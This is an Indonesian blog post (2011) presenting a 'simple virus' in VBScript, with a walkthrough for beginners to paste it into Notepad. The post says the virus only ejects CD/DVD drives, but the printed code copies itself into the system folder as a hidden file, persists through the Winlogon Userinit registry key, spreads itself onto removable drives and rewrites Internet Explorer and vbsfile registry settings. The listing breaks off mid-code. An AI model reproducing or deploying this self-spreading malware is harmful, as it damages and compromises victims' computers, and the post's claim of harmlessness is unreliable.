Thursday, April 28, 2011

Membuat virus sederhana dengan VBS

Sebenarnya virus ini tergolong ringan karena hanya akan membuat Optical Drive seperti CD Room atau DVD Room akan eject sendiri tanpa kita perintah. Script yang aku tampilkan juga sudah banyak tersedia di blog atau web – web lainnya, hanya saja kurang jelasnya isi tulisan membuat pemula bingung harus mulai dari mana.

Berikut aku beri tahu bagaimana membuat virus sederhana ini.

Pertama, siapkan notepad dan copy paste script di bawah ini.

Option Explicit

On Error Resume Next

Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject(“Scripting.FileSystemObject”)
Set Shells = CreateObject(“Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)

Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(SystemDir & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(SystemDir & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs
For Each Drives In InDrive

If Drives.DriveType = 2 Then
LookVBS “inf”, Drives.Path & “\”
LookVBS “INF”, Drives.Path & “\”
End If

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path <> “A:” Then
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “&percnt;SystemRoot&percnt;\System32\WScript.exe,2″
LookVBS “vbs”, WinDir & “\”
LookVBS “vbs”, Drives.Path & “\”
If Drives.DriveType = 1 Then
If Drives.Path <> “A:” Then
If Not Fso.FileExists(Drives.Path & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close

No comments:

Post a Comment

Thanks for your comment.

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More